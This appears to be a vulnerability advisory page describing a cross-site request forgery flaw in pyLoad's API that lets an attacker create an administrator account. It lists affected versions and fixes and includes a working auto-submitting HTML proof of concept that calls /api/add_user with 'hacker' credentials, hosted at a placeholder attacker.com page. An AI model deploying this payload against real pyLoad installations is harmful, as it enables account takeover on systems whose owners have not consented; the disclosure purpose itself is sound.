Loading advisory.
Loading advisory.
Cross-Site Request Forgery on any API call in pyLoad may lead to admin privilege escalation
The pyload API allows any API call to be made using GET requests. Since the session cookie is not set to SameSite: strict, this opens the library up to severe attack possibilities via a Cross-Site Request Forgery (CSRF) attack.
Published 2024-01-17 23:48 UTC · Modified 2026-09-10 03:50 UTC
Severity and EPSS are shown separately. Helm does not combine them into one score. How tiers work
| Package | Ecosystem | Affected | Fixed in | Upgrade command |
|---|---|---|---|---|
| pyload-ng | PyPI | < 0.5.0b3.dev78 git commits in https://github.com/pyload/pyload: < 1374c824271cb7e927740664d06d2e577624ca3e git commits in https://github.com/pyload/pyload: < c7cdc18ad9134a75222974b39e8b427c4af845fc versions 0.5.0a5.dev528, 0.5.0a5.dev532, 0.5.0a5.dev535, 0.5.0a5.dev536, 0.5.0a5.dev537, 0.5.0a5.dev539, 0.5.0a5.dev540, 0.5.0a5.dev545, 0.5.0a5.dev562, 0.5.0a5.dev564, 0.5.0a5.dev565, 0.5.0a6.dev570, 0.5.0a6.dev578, 0.5.0a6.dev587, 0.5.0a7.dev596, 0.5.0a8.dev602, 0.5.0a9.dev615, 0.5.0a9.dev629, 0.5.0a9.dev632, 0.5.0a9.dev641 and 65 more | 0.5.0b3.dev78, 1374c824271cb7e927740664d06d2e577624ca3e, c7cdc18ad9134a75222974b39e8b427c4af845fc | pip install --upgrade 'pyload-ng>=0.5.0b3.dev78'pip install --upgrade 'pyload-ng>=1374c824271cb7e927740664d06d2e577624ca3e'pip install --upgrade 'pyload-ng>=c7cdc18ad9134a75222974b39e8b427c4af845fc' |
The pyload API allows any API call to be made using GET requests. Since the session cookie is not set to SameSite: strict, this opens the library up to severe attack possibilities via a Cross-Site Request Forgery (CSRF) attack. This proof of concept shows how an unauthenticated user could trick the administrator's browser into creating a new admin user.
We host the following HTML file on an attacker-controlled server.
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://localhost:8000/api/add_user/%22hacker%22,%22hacker%22">
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>If we now trick an administrator into visiting our malicious page at https://attacker.com/CSRF.html, we see that their browser will make a request to /api/add_user/%22hacker%22,%22hacker%22, adding a new administrator to the pyload application.
image
The attacker can now authenticate as this newly created administrator user with the username hacker and password hacker.
image
Any API call can be made via a CSRF attack by an unauthenticated user.
Exploit code or a detection template for this CVE is published by the sources below. This is not a report of use against real systems (that is what CISA KEV records) and it does not change the tier.
EPSS went from 0.009 on 2026-11-24 to 0.012 on 2026-11-26, over 2 recorded scores.
| Date | Score | Previous | Model |
|---|---|---|---|
| 2026-11-24 | 0.009 | first score | v2026.06.15 |
| 2026-11-26 | 0.012 | 0.009 | v2026.06.15 |